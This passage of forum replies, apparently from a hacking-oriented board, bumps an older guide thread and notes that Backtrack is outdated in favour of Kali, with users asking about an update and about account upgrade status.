Thanks for the hint will update this when i updated my account to 1337.

sHyRe - August 20, 2015, 2:10 pm

Just want 2 let you know that this thread still exists !

Have a nice day

coder0240 - August 20, 2015, 4:21 pm

Backtrack is outdated plus there is no support for it anymore. Use Kali

sHyRe - September 14, 2016, 8:48 am

Just bumping this thread ; kali update will come

sHyRe - April 7, 2017, 12:01 am

!!!!!!bump for beginners!!!!!!

Truhmp - April 8, 2017, 1:45 pm

Where is kali update? I am a noob

nfguide - April 8, 2017, 3:53 pm

Nicely done, great work! Includes all the steps for various methods.

Trivexlium - April 8, 2017, 4:22 pm

But you will not be able to update the thread since you are non-upgraded ?